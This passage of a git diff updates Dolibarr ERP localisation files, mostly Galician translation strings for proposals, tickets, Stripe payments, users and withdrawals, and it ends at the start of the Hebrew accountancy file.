produtos/servizos. DefaultProposalDurationValidity=Prazo de validez por defecto (en días) DefaultPuttingPricesUpToDate=Por defecto, actualiza os prezos cos prezos actuais coñecidos ao clonar un orzamento -UseCustomerContactAsPropalRecipientIfExist=Utilizar enderezo do contacto de seguemento do cliente definido, na vez do enderezo do terceiro como destinatario dos orzamentos +UseCustomerContactAsPropalRecipientIfExist=Utilizar enderezo do contacto de seguimento do cliente definido, na vez do enderezo do terceiro como destinatario dos orzamentos ConfirmClonePropal=¿Está certo de querer clonar o orzamento %s? ConfirmReOpenProp=¿Está certo de abrir de novo o orzamento %s? ProposalsAndProposalsLines=Orzamentos e liñas de orzamentos @@ -65,49 +65,54 @@ AvailabilityPeriod=Tempo de entrega SetAvailability=Definir o tempo de entrega AfterOrder=dende a sinatura OtherProposals=Outros orzamentos + ##### Availability ##### AvailabilityTypeAV_NOW=Inmediata AvailabilityTypeAV_1W=1 semana AvailabilityTypeAV_2W=2 semanas AvailabilityTypeAV_3W=3 semanas AvailabilityTypeAV_1M=1 mes -##### Types de contacts ##### -TypeContact_propal_internal_SALESREPFOLL=Comercial seguemento orzamento + +##### Types ofe contacts ##### +TypeContact_propal_internal_SALESREPFOLL=Comercial seguimento orzamento TypeContact_propal_external_BILLING=Contacto cliente de facturación orzamento -TypeContact_propal_external_CUSTOMER=Contacto cliente seguemento orzamento +TypeContact_propal_external_CUSTOMER=Contacto cliente seguimento orzamento TypeContact_propal_external_SHIPPING=Contacto cliente para envíos + # Document models -DocModelAzurDescription=Modelo de orzamento completo (vella implementación de modelo Cyan) -DocModelCyanDescription=Modelo de orzamento completo -DefaultModelPropalCreate=Modelo por defecto -DefaultModelPropalToBill=Modelo por defecto ao pechar un orzamento (a facturar) -DefaultModelPropalClosed=Modelo por defecto ao pechar un orzamento (non facturado) -ProposalCustomerSignature=Aceptado: sinatura dixital (selo da empresa, data e sinatura) -ProposalsStatisticsSuppliers=Estatísticas orzamentos de provedores -CaseFollowedBy=Caso seguido por -SignedOnly=Só asinado -NoSign=Configurado como non asinado -NoSigned=configurar non asinado CantBeNoSign=non se pode configurar sen asinar +CaseFollowedBy=Caso seguido por ConfirmMassNoSignature=Confirmación masiva non asinado ConfirmMassNoSignatureQuestion=Estás certo de querer configurar os rexistros seleccionados a non asinado? -IsNotADraft=non é un borrador -PassedInOpenStatus=foi validado -Sign=Asinado -Signed=asinado -ConfirmMassValidation=Confirmación de validación masiva ConfirmMassSignature=Confirmación de Sinatura masiva -ConfirmMassValidationQuestion=Está certo de querer validar os rexistros seleccionados? ConfirmMassSignatureQuestion=Está certo de querer asinar os rexistros seleccionados? -IdProposal=ID orzamento +ConfirmMassValidation=Confirmación de validación masiva +ConfirmMassValidationQuestion=Está certo de querer validar os rexistros seleccionados? +ConfirmRefusePropal=Está certo de querer rexeitar este orzamento a cliente? +ContractSigned=Contrato asinado +DefaultModelPropalClosed=Modelo por defecto ao pechar un orzamento (non facturado) +DefaultModelPropalCreate=Modelo por defecto +DefaultModelPropalToBill=Modelo por defecto ao pechar un orzamento (a facturar) +DocModelAzurDescription=Modelo de orzamento completo (vella implementación de modelo Cyan) +DocModelCyanDescription=Modelo de orzamento completo +FichinterSigned=Intervención asinada IdProduct=ID Produto +IdProposal=ID orzamento +IsNotADraft=non é un borrador LineBuyPriceHT=Importe do prezo de compra neto sen impostos para a liña -SignPropal=Aceptar orzamento +NoSign=Rexeitar +NoSigned=configurar non asinado +PassedInOpenStatus=foi validado +PropalAlreadyRefused=Orzamento xá rexeitado +PropalAlreadySigned=Orzamento xa aceptado +PropalRefused=Orzamento rexeitado +PropalSigned=Orzamento aceptado +ProposalCustomerSignature=Aceptado: sinatura dixital (selo da empresa, data e sinatura) +ProposalsStatisticsSuppliers=Estatísticas orzamentos de provedores RefusePropal=Rexeitar orzamento Sign=Asinado -NoSign=Configurado como non asinado -PropalAlreadySigned=Orzamento xa aceptado -PropalAlreadyRefused=Orzamento xá rexeitado -PropalSigned=Orzamento aceptado -PropalRefused=Orzamento rexeitado -ConfirmRefusePropal=Está certo de querer rexeitar este orzamento a cliente? +SignContract=Asinar contrato +SignFichinter=Sinatura da intervención +SignPropal=Aceptar orzamento +Signed=asinado +SignedOnly=Só asinado diff --git a/htdocs/langs/gl_ES/receptions.lang b/htdocs/langs/gl_ES/receptions.lang index c91f2a13bb3..78023b5e142 100644 --- a/htdocs/langs/gl_ES/receptions.lang +++ b/htdocs/langs/gl_ES/receptions.lang @@ -32,6 +32,7 @@ StatusReceptionDraftShort=Borrador StatusReceptionValidatedShort=Validado StatusReceptionProcessedShort=Procesado ReceptionSheet=Folla de recepción +ValidateReception=Validar recepción ConfirmDeleteReception=¿Está certo de querer eliminar esta recepción? ConfirmValidateReception=¿Está certo de querer validar esta recepción coa referencia %s? ConfirmCancelReception=¿Está certo de querer cancelar esta recepción? @@ -48,7 +49,6 @@ ReceptionsNumberingModules=Módulo de numeración para recepcións ReceptionsReceiptModel=Modeloss de documentos para recepcións. NoMorePredefinedProductToDispatch=Non hai máis produtos predefinidos para enviar ReceptionExist=Xa hai unha recepción -ByingPrice=Prezo de compra ReceptionBackToDraftInDolibarr=A recepción %s volta a borrador ReceptionClassifyClosedInDolibarr=Recepción %s clasificada Pechada ReceptionUnClassifyCloseddInDolibarr=A recepción %s volta a abrirse diff --git a/htdocs/langs/gl_ES/recruitment.lang b/htdocs/langs/gl_ES/recruitment.lang index 80129b78512..c0dcb7c8043 100644 --- a/htdocs/langs/gl_ES/recruitment.lang +++ b/htdocs/langs/gl_ES/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Correo electrónico do responsable de contratación ToUseAGenericEmail=Para usar un correo electrónico xenérico. Se non se define, utilizarase o correo electrónico do responsable de contratación NewCandidature=Nova candidatura ListOfCandidatures=Listaxe de candidaturas -RequestedRemuneration=Remuneración solicitada -ProposedRemuneration=Proposta de remuneración +Remuneration=Salario +RequestedRemuneration=Salario solicitado +ProposedRemuneration=Salario proposto ContractProposed=Proposta de contrato ContractSigned=Contrato asinado ContractRefused=Rexeitouse o contrato RecruitmentCandidature=Candidatura JobPositions=Postos de traballo RecruitmentCandidatures=Candidaturas -InterviewToDo=Entrevista a realizar +InterviewToDo=Contactos a seguir AnswerCandidature=Resposta da solicitude YourCandidature=A súa candidatura YourCandidatureAnswerMessage=Grazas pola súa candidatura.
      ... @@ -74,5 +75,5 @@ JobClosedTextCanceled=O posto de traballo está pechado ExtrafieldsJobPosition=Atributos complementarios (postos de traballo) ExtrafieldsApplication=Atributos complementarios (candidaturas) MakeOffer=Facer unha oferta -WeAreRecruiting=Estamos contratanto. Esta é unha lista de prazas abertas para cubrir... +WeAreRecruiting=Estamos contratando. Esta é unha lista de prazas abertas para cubrir... NoPositionOpen=Non hai postos laborais libres polo momento diff --git a/htdocs/langs/gl_ES/salaries.lang b/htdocs/langs/gl_ES/salaries.lang index 334ad06f571..7c7ceaa610a 100644 --- a/htdocs/langs/gl_ES/salaries.lang +++ b/htdocs/langs/gl_ES/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Conta contable usada para os terceiros -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Utilízase unha conta contable adicada definida na ficha de usuario para encher o Libro Maior, ou como valor predeterminado da contabilidade do Libro Maior se non é definida unha conta contable na ficha do usuario +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Conta (do Plan Contable) utilizada por defecto para terceiros "usuarios". +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=A conta contable dedicada e definida na ficha de usuario só se utilizará para Subconta na contabilidade. Esta será usada para o Libro Maior e como valor predeterminado da Subconta na contabilidade se non se define unha conta contable de usuario específica ao usuario. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Conta contable por defecto para pagamentos de salarios CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=De xeito predeterminado, deixe baleira a opción "Crear automaticamente un pago total" ao crear un Salario Salary=Salario @@ -24,3 +24,4 @@ SalariesStatistics=Estatísticas salariais SalariesAndPayments=Salarios e pagamentos ConfirmDeleteSalaryPayment=Quere eliminar este pagamento de salario? FillFieldFirst=Cubra primeiro o campo do empregado +UpdateAmountWithLastSalary=Establece a cantidade co último salario diff --git a/htdocs/langs/gl_ES/stripe.lang b/htdocs/langs/gl_ES/stripe.lang index a661bca00b4..aefbbeb8840 100644 --- a/htdocs/langs/gl_ES/stripe.lang +++ b/htdocs/langs/gl_ES/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Chave live de Webhook ONLINE_PAYMENT_WAREHOUSE=Stock que se usará para diminuír o stock cando se faga o pagamento en liña
      (TODO Cando se fai a opción de diminuír o stock nunha acción de factura e o pagamento en liña xera a factura?) StripeLiveEnabled=Stripe live activado (se non, proba modo sandbox) StripeImportPayment=Importar pagamentos de Stripe -ExampleOfTestCreditCard=Exemplo de tarxeta de crédito para a proba:%s => válido,%s => erro CVC,%s => caducado,%s => falla de carga +ExampleOfTestCreditCard=Exemplo de tarxeta de crédito para a proba SEPA: %s => válido, %s => erro CVC, %s => caducado, %s => fallo de carga +ExampleOfTestBankAcountForSEPA=Exemplo de conta bancaria BAN para a proba de domiciliación bancaria: %s StripeGateways=Pasarelas de Stripe OAUTH_STRIPE_TEST_ID=Id de cliente de Stripe Connect (ca _...) OAUTH_STRIPE_LIVE_ID=Id de cliente Stripe Connect (ca _...) @@ -61,6 +62,7 @@ DeleteACard=Eliminar tarxeta ConfirmDeleteCard=Este certo querer eliminar esta tarxeta de Crédito ou Débito? CreateCustomerOnStripe=Crear cliente en Stripe CreateCardOnStripe=Crear unha tarxeta en Stripe +CreateBANOnStripe=Crear un banco en Stripe ShowInStripe=Amosar en Stripe StripeUserAccountForActions=Conta de usuario a utilizar para a notificación por correo electrónico dalgúns eventos de Stripe (pagos de Stripe) StripePayoutList=Listaxe de pagamentos de Stripe @@ -69,4 +71,8 @@ ToOfferALinkForLiveWebhook=Ligazón para configurar Stripe WebHook para chamar a PaymentWillBeRecordedForNextPeriod=O pago será rexistrado para o seguinte período. ClickHereToTryAgain= Faga clic aquí para tentalo de novo ... CreationOfPaymentModeMustBeDoneFromStripeInterface=Debido a fortes regras de autenticación do cliente, a creación dunha tarxeta debe facerse desde o backoffice de Stripe. Pode facer clic aquí para activar o rexistro de cliente de Stripe:%s -TERMINAL_LOCATION=Localización (enderezo) dos terminais +STRIPE_CARD_PRESENT=Transacción de tarxeta presente para terminais Stripe +TERMINAL_LOCATION=Localización (enderezo) para terminais Stripe +RequestDirectDebitWithStripe=Solicite domiciliación bancaria con Stripe +STRIPE_SEPA_DIRECT_DEBIT=Activa os pagamentos por domiciliación bancaria a través de Stripe + diff --git a/htdocs/langs/gl_ES/ticket.lang b/htdocs/langs/gl_ES/ticket.lang index d266ef22e0c..0b9f8a63817 100644 --- a/htdocs/langs/gl_ES/ticket.lang +++ b/htdocs/langs/gl_ES/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Modificar tickets Permission56003=Eliminar tickets Permission56004=Administrar tickets Permission56005=Ver tickets de todos os terceiros (non aplicable para usuarios externos, sempre estará limitado ao terceiro do que dependen) +Permission56006=Exportar tickets +Tickets=Tickets TicketDictType=Tipo de tickets TicketDictCategory=Grupos de tickets TicketDictSeverity=Gravidade dos tickets @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Contribuidor externo OriginEmail=Correo electrónico do redactor Notify_TICKET_SENTBYMAIL=Enviar mensaxe de ticket por e-mail +ExportDataset_ticket_1=Tickets + # Status Read=Lido Assigned=Asignado @@ -90,8 +94,8 @@ TicketPublicAccess=Na seguinte url está dispoñible unha interface pública que TicketSetupDictionaries=Os tipos de categorías e os niveis de gravidade podense configurar nos diccionarios TicketParamModule=Configuración de variables do módulo TicketParamMail=Configuración de correo electrónicol -TicketEmailNotificationFrom=Sender e-mail for notification on answers -TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com +TicketEmailNotificationFrom=Correo electrónico do remitente para notificar as respostas +TicketEmailNotificationFromHelp=Correo electrónico do remitente para usar para enviar o correo electrónico de notificación cando se proporciona unha resposta dentro do backoffice. Por exemplo noreply@example.com TicketEmailNotificationTo=Notificar a creación do ticket a este enderezo de correo electrónico TicketEmailNotificationToHelp=Se está presente, este enderezo de correo electrónico será notificado da creación dun ticket TicketNewEmailBodyLabel=Mensaxe de texto enviado despois de crear un ticket @@ -149,6 +153,8 @@ TicketsAutoNotifyCloseHelp=Ao pechar un ticket, proporáselle que envíe unha me TicketWrongContact=Se o contacto non forma parte dos contactos actuais dos tickets. Correo electrónico non enviado. TicketChooseProductCategory=Categoría de produto para soporte de tickets TicketChooseProductCategoryHelp=Seleccione a categoría de produto de soporte de tickets. Usarase para ligar automaticamente un contrato a un ticket. +TicketUseCaptchaCode=Use código gráfico (CAPTCHA) ao crear un ticket +TicketUseCaptchaCodeHelp=Engada verificación CAPTCHA ao crear un novo ticket. # # Index & list page @@ -180,7 +186,7 @@ CreatedBy=Creado por NewTicket=Novo ticket SubjectAnswerToTicket=Resposta TicketTypeRequest=Tipo de solicitude -TicketCategory=Categorización de tickets +TicketCategory=Grupo de tickets SeeTicket=Ver ticket TicketMarkedAsRead=O ticket foi marcado como lido TicketReadOn=Lido o @@ -192,8 +198,7 @@ TicketAssigned=O Ticket foi asignado TicketChangeType=Cambiar tipo TicketChangeCategory=Cambiar categoría TicketChangeSeverity=Cambiar gravidade -TicketAddMessage=Engadir mensaxe -AddMessage=Engadir mensaxe +TicketAddMessage=Engadir mensaxe privada MessageSuccessfullyAdded=Ticket engadido TicketMessageSuccessfullyAdded=Mensaxe engadida correctamente TicketMessagesList=Listaxe de mensaxes @@ -204,8 +209,8 @@ TicketSeverity=Gravidade ShowTicket=Ver ticket RelatedTickets=Tickets relacionados TicketAddIntervention=Crear intervención -CloseTicket=Ticket Pechado/Resolto -AbandonTicket=Ticket abandonado +CloseTicket=Pechar|Resolver +AbandonTicket=Abandonar CloseATicket=Pechar/Resolver un ticket ConfirmCloseAticket=Confirmar o peche do ticket ConfirmAbandonTicket=Confirma o peche do ticket ao estado "Abandonado" @@ -219,18 +224,17 @@ SendMessageByEmail=Enviar mensaxe por e-mail TicketNewMessage=Nova mensaxe ErrorMailRecipientIsEmptyForSendTicketMessage=O destinatario está baleiro. Non foi enviado o email TicketGoIntoContactTab=Vaia á lapela "Contactos" para seleccionalos -TicketMessageMailIntro=Introdución +TicketMessageMailIntro=Cabeceira da mensaxe TicketMessageMailIntroHelp=Este texto é engadido só ao principio do email e non será gardado. -TicketMessageMailIntroLabelAdmin=Texto de introdución a todas as respostas dos tickets TicketMessageMailIntroText=Ola,
      Engadiuse unha nova resposta a un ticket que segue. Aquí está a mensaxe:
      TicketMessageMailIntroHelpAdmin=Este texto inserirase antes da resposta cando se responda a un ticket de Dolibarr -TicketMessageMailSignature=Sinatura -TicketMessageMailSignatureHelp=Este texto será agregado só ao final do correo electrónico e non será gardado. -TicketMessageMailSignatureText=Mensaxe enviada por %s vía Dolibarr -TicketMessageMailSignatureLabelAdmin=Sinatura do correo electónico de resposta -TicketMessageMailSignatureHelpAdmin=Este texto será insertado despois da mensaxe de resposta. +TicketMessageMailFooter=Pé de páxina da mensaxe +TicketMessageMailFooterHelp=Este texto só engádese ao final da mensaxe enviada por correo electrónico e non se gardará. +TicketMessageMailFooterText=Mensaxe enviada por %s vía Dolibarr +TicketMessageMailFooterHelpAdmin=Este texto será insertado despois da mensaxe de resposta. TicketMessageHelp=Só este texto será gardado na listaxe de mensaxes na ficha do ticket TicketMessageSubstitutionReplacedByGenericValues=As variables de substitución son reemplazadas por valores xenéricos. +ForEmailMessageWillBeCompletedWith=Para as mensaxes de correo electrónico enviadas a usuarios externos, a mensaxe completarase con TimeElapsedSince=Tempo transcurrido dende TicketTimeToRead=Tempo transcurrido antes de ler o ticket TicketTimeElapsedBeforeSince=Tempo transcorrido antes / despois @@ -241,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=Publicouse unha nova mensaxe no ticke TicketAssignedToYou=Ticket asignado TicketAssignedEmailBody=Foille asignado o ticket #%s por %s MarkMessageAsPrivate=Marcar mensaxe como privada +TicketMessageSendEmailHelp=Enviarase un correo electrónico a todos os contactos asignados (contactos internos, pero tamén contactos externos, excepto se a opción "%s" está marcada) TicketMessagePrivateHelp=Esta mensaxe non será amosada aos usuarios externos TicketEmailOriginIssuer=Emisor orixe dos tickets InitialMessage=Mensaxe inicial @@ -296,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=Pode ver o progreso do ticket na interfa TicketCloseEmailBodyInfosTrackUrlCustomer=Pode consultar o historial desta entrada premendo no seguinte enlace TicketEmailPleaseDoNotReplyToThisEmail=Prégase non respostar directamente a este correo. Use a ligazón para respostar. TicketPublicInfoCreateTicket=Este formulario permitelle rexistrar un ticket de soporte no noso sistema. -TicketPublicPleaseBeAccuratelyDescribe=Prégase describa de forma precisa o problema. Aporte a maior cantidade de información posible para permitirnos identificar a súa solicitude. +TicketPublicPleaseBeAccuratelyDescribe=Describa con precisión a súa pregunta. Proporcione a maior información posible para permitirnos identificar correctamente a súa solicitude. TicketPublicMsgViewLogIn=Ingrese o ID de seguimento do ticket TicketTrackId=ID público de seguimento OneOfTicketTrackId=Un dos seus ID de seguimento diff --git a/htdocs/langs/gl_ES/users.lang b/htdocs/langs/gl_ES/users.lang index 209e1e88177..16c58925020 100644 --- a/htdocs/langs/gl_ES/users.lang +++ b/htdocs/langs/gl_ES/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Eliminar do grupo PasswordChangedAndSentTo=Contrasinal cambiado e enviado a %s. PasswordChangeRequest=Solicitude para cambiar o contrasinal de %s PasswordChangeRequestSent=Solicitude de cambio de contrasinal para %s enviado a %s. -IfLoginExistPasswordRequestSent=Se este inicio de sesión é unha conta válida, enviouse un correo electrónico para restablecer o contrasinal. +IfLoginExistPasswordRequestSent=Se este inicio de sesión é unha conta válida (cun correo electrónico válido), enviouse un correo electrónico para restablecer o contrasinal. IfEmailExistPasswordRequestSent=Se este correo electrónico é unha conta válida, enviouse un correo electrónico para restablecer o contrasinal. ConfirmPasswordReset=Confirmar restablecemento de contrasinal MenuUsersAndGroups=Usuarios e grupos @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Ligazón ao usuario LinkedToDolibarrThirdParty=Ligazón ao terceiro CreateDolibarrLogin=Crear un usuario CreateDolibarrThirdParty=Crear un terceiro -LoginAccountDisableInDolibarr=A conta está desactivada en Dolibarr +LoginAccountDisableInDolibarr=Conta desactivada en Dolibarr +PASSWORDInDolibarr=Contrasinal modificado en Dolibarr UsePersonalValue=Utilizar valores persoalizados -InternalUser=Usuario interno ExportDataset_user_1=Usuarios e as súas propiedades. DomainUser=Usuario de dominio Reactivate=Reactivar @@ -128,3 +128,7 @@ DateLastLogin=Data último inicio de sesión DatePreviousLogin=Data de inicio de sesión anterior IPLastLogin=IP último inicio de sesión IPPreviousLogin=IP de inicio de sesión anterior +ShowAllPerms=Mostra todas as filas de permisos +HideAllPerms=Ocultar todas as filas de permisos +UserPublicPageDesc=Pode activar unha tarxeta virtual para este usuario. Haberá dispoñible un URL co perfil de usuario e un código de barras para que calquera persoa que teña un teléfono intelixente poida escaneala e engadir o seu contacto á súa axenda de enderezos. +EnablePublicVirtualCard=Activa a tarxeta de usuario virtual pública diff --git a/htdocs/langs/gl_ES/withdrawals.lang b/htdocs/langs/gl_ES/withdrawals.lang index 0a1b1d82b55..cc5913bd5f4 100644 --- a/htdocs/langs/gl_ES/withdrawals.lang +++ b/htdocs/langs/gl_ES/withdrawals.lang @@ -33,7 +33,7 @@ InvoiceWaitingPaymentByBankTransfer=Factura agardando transferencia AmountToWithdraw=Cantidade a retirar/domiciliar AmountToTransfer=Importe a transferir NoInvoiceToWithdraw=Non hai ningunha factura aberta para '%s' agardando. Vaia á lapela '%s' da tarxeta de factura para facer unha solicitude. -NoSupplierInvoiceToWithdraw=Non hai ningunha factura do provedor con "Solicitudes de transferencia" agardando. Vaia á lapela '%s' da tarxeta da factura para facer unha solicitude. +NoSupplierInvoiceToWithdraw=Non está agardando ningunha factura de provedor aberta "%s" . Vaia á lapela "%s" da tarxeta de factura para facer unha solicitude. ResponsibleUser=Usuario responsable das domiciliacións WithdrawalsSetup=Configuración das domiciliacións CreditTransferSetup=Configuración das transferencias @@ -42,6 +42,7 @@ CreditTransferStatistics=Estatísticas das transferencias Rejects=Devolucións LastWithdrawalReceipt=As %s últimas domiciliacións MakeWithdrawRequest=Realizar unha petición de domiciliación +MakeWithdrawRequestStripe=Facer unha solicitude de pagamento por domiciliación bancaria a través de Stripe MakeBankTransferOrder=Realizar unha petición de transferencia WithdrawRequestsDone=%s domiciliacións rexistradas BankTransferRequestsDone=%s transferencias rexistradas @@ -100,8 +101,11 @@ CreditDate=Abonada o WithdrawalFileNotCapable=Non se pode xerar o ficheiro de recibo de retirada para o seu país %s (o seu país non está incluido) ShowWithdraw=Ver domiciliación IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Porén, se a factura ten polo menos unha orde de pagamento por domiciliación bancaria aínda non procesada, non se configurará como paga para permitir a xestión previa da retirada. -DoStandingOrdersBeforePayments=Esta lapela permítelle solicitar unha orde de pagamento por domiciliación bancaria. Unha vez feito isto, entra no menú Banco-> Pago mediante domiciliación bancaria para xerar e xestionar a orde de domiciliación bancaria. Cando se pecha a orde de domiciliación bancaria, o pagamento das facturas rexistrarase automaticamente e as facturas pecharanse se o resto do pago é nulo. -DoCreditTransferBeforePayments=Esta lapela permítelle solicitar unha orde de transferencia. Unha vez feito isto, entra no menú Banco-> Pago mediante transferencia para xerar e xestionar a orde de transferencia. Cando se pecha a orde de transferencia, o pagamento das facturas rexistrarase automaticamente e as facturas pecharanse se o resto do pago é nulo. +DoStandingOrdersBeforePayments=Esta lapela permítelle solicitar unha orde de pagamento domiciliado. Unha vez feito isto, pode ir ao menú "Banco->Pagamento por domiciliación bancaria" para xerar e xestionar un ficheiro de pedimento de domiciliación bancaria. +DoStandingOrdersBeforePayments2=Tamén pode enviar unha solicitude directamente a un procesador de pagamentos SEPA como Stripe, ... +DoStandingOrdersBeforePayments3=Cando se pecha a orde de domiciliación bancaria, o pagamento das facturas rexistrarase automaticamente e as facturas pecharanse se o resto por pagar é nulo. +DoCreditTransferBeforePayments=Esta lapela permítelle solicitar unha orde de transferencia bancaria. Unha vez feito isto, vaia ao menú "Banco->Pagamento por transferencia bancaria" para xerar e xestionar un ficheiro de orde de transferencia bancaria. +DoCreditTransferBeforePayments3=Cando se pecha a orde de transferencia bancaria, o pagamento das facturas rexistrarase automaticamente e as facturas pecharanse se o resto para pagar é nulo. WithdrawalFile=Ficheiro de domiciliación CreditTransferFile=Ficheiro de transferencia SetToStatusSent=Clasificar como "Ficheiro enviado" @@ -118,7 +122,7 @@ WithdrawRequestErrorNilAmount=Non é posible crear unha domiciliación sen impor SepaMandate=Mandato SEPA de domiciliación SepaMandateShort=Mandato SEPA PleaseReturnMandate=Envíe de volta este formulario de mandato por correo electrónico a %s ou por correo a -SEPALegalText=Ao asinar este formulario de mandato, autorizas (A) a %s a enviar instrucións ao teu banco para realizar un cargo na túa conta e (B) ao teu banco a realizar un cargo na túa conta de acordo coas instrucións de %s. Como parte dos teus dereitos, tes dereito a un reembolso do teu banco segundo os termos e condicións do teu acordo co teu banco. Os seus dereitos con respecto ao mandato anterior explícanse nun comunicado que pode obter do seu banco. +SEPALegalText=Ao asinar este formulario de mandato, autoriza (A) a %s e ao seu provedor de servizos de pagamento a enviar instrucións ao seu banco para que debiten a túa conta e (B) ao seu banco a que debiten a súa conta de acordo coas instrucións de %s. Como parte dos seus dereitos, ten dereito a un reembolso do seu banco segundo os termos e condicións do seu acordo co seu banco. Os seus dereitos con respecto ao mandato anterior explícanse nun comunicado que pode obter no seu banco. CreditorIdentifier=Identificador Acredor CreditorName=Nome acredor SEPAFillForm=(B) Cubra todos os campos marcados con * diff --git a/htdocs/langs/gl_ES/workflow.lang b/htdocs/langs/gl_ES/workflow.lang index d87753aed6b..4a754c5419f 100644 --- a/htdocs/langs/gl_ES/workflow.lang +++ b/htdocs/langs/gl_ES/workflow.lang @@ -22,7 +22,7 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Clasificar o pediment descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Clasifica o pedimento a cliente de orixe ligado como recibido cando se valida unha recepción (e se a cantidade recibida por todas as recepcións é a mesma que no pedimento que se actualiza) descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Clasifica o pedimento a cliente de orixe ligado como recibido cando se pecha unha recepción (e se a cantidade recibida por todas as recepcións é a mesma que no pedimento que se actualiza) # Autoclassify purchase invoice -descWORKFLOW_BILL_ON_RECEPTION=Clasificar recepcións a "facturado" cando sexa validado un pedimento a provedor ligado +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Clasifica as recepcións como "facturadas" cando se valida unha factura de compra ligada (e se o importe da factura é o mesmo que o importe total das recepcións ligadas) # Automatically link ticket to contract descWORKFLOW_TICKET_LINK_CONTRACT=Ao crear un ticket, liga os contratos dispoñibles do terceiro coincidente descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=Ao ligar contratos, busca entre os das empresas matrices @@ -31,6 +31,6 @@ descWORKFLOW_TICKET_CLOSE_INTERVENTION=Pecha todas as intervencións ligadas ao AutomaticCreation=Creación automática AutomaticClassification=Clasificación automática # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Clasifique o envío orixe ligado como pechado cando a factura ao cliente sexa validada +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Clasifica o envío de orixe ligado como pechado cando se valida a factura do cliente (e se o importe da factura é o mesmo que o importe total dos envíos ligados) AutomaticClosing=Peche automático AutomaticLinking=Ligazón automática diff --git a/htdocs/langs/he_IL/accountancy.lang b/htdocs/langs/he_IL/accountancy.lang index 8bc4b54a090..7158d53896a 100644 --- a/htdocs/langs/he_IL/accountancy.lang +++ b/htdocs/langs/he_IL/accountancy.lang @@ -48,8 +48,9 @@ CountriesNotInEEC=Countries not in EEC CountriesInEECExceptMe=Countries in EEC except %s CountriesExceptMe=All countries except %s AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,28 +59,29 @@ MainAccountForSuppliersNotDefined=Main accounting account for vendors not define MainAccountForUsersNotDefined=Main accounting account for users not defined in setup MainAccountForVatPaymentNotDefined=Main accounting account for VAT payment not defined in setup MainAccountForSubscriptionPaymentNotDefined=Main accounting account for subscription payment not defined in setup +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Accounting area AccountancyAreaDescIntro=Usage of the accountancy module is done in several step: AccountancyAreaDescActionOnce=The following actions are usually executed one time only, or once per year... -AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you the correct default accounting account when making the journalization (writing record in Journals and General ledger) +AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you automaticaly the correct default accounting account when transferring data in accounting AccountancyAreaDescActionFreq=The following actions are usually executed every month, week or day for very large companies... -AccountancyAreaDescJournalSetup=STEP %s: Create or check content of your journal list from menu %s +AccountancyAreaDescJournalSetup=STEP %s: Check content of your journal list from menu %s AccountancyAreaDescChartModel=STEP %s: Check that a model of chart of account exists or create one from menu %s AccountancyAreaDescChart=STEP %s: Select and|or complete your chart of account from menu %s AccountancyAreaDescVat=STEP %s: Define accounting accounts for each VAT Rates. For this, use the menu entry %s. AccountancyAreaDescDefault=STEP %s: Define default accounting accounts. For this, use the menu entry %s. -AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of expense report. For this, use the menu entry %s. +AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of Expense report. For this, use the menu entry %s. AccountancyAreaDescSal=STEP %s: Define default accounting accounts for payment of salaries. For this, use the menu entry %s. -AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for special expenses (miscellaneous taxes). For this, use the menu entry %s. +AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for Taxes (special expenses). For this, use the menu entry %s. AccountancyAreaDescDonation=STEP %s: Define default accounting accounts for donation. For this, use the menu entry %s. AccountancyAreaDescSubscription=STEP %s: Define default accounting accounts for member subscription. For this, use the menu entry %s. AccountancyAreaDescMisc=STEP %s: Define mandatory default account and default accounting accounts for miscellaneous transactions. For this, use the menu entry %s. AccountancyAreaDescLoan=STEP %s: Define default accounting accounts for loans. For this, use the menu entry %s. AccountancyAreaDescBank=STEP %s: Define accounting accounts and journal code for each bank and financial accounts. For this, use the menu entry %s. -AccountancyAreaDescProd=STEP %s: Define accounting accounts on your products/services. For this, use the menu entry %s. +AccountancyAreaDescProd=STEP %s: Define accounting accounts on your Products/Services. For this, use the menu entry %s. AccountancyAreaDescBind=STEP %s: Check the binding between existing %s lines and accounting account is done, so application will be able to journalize transactions in Ledger in one click. Complete 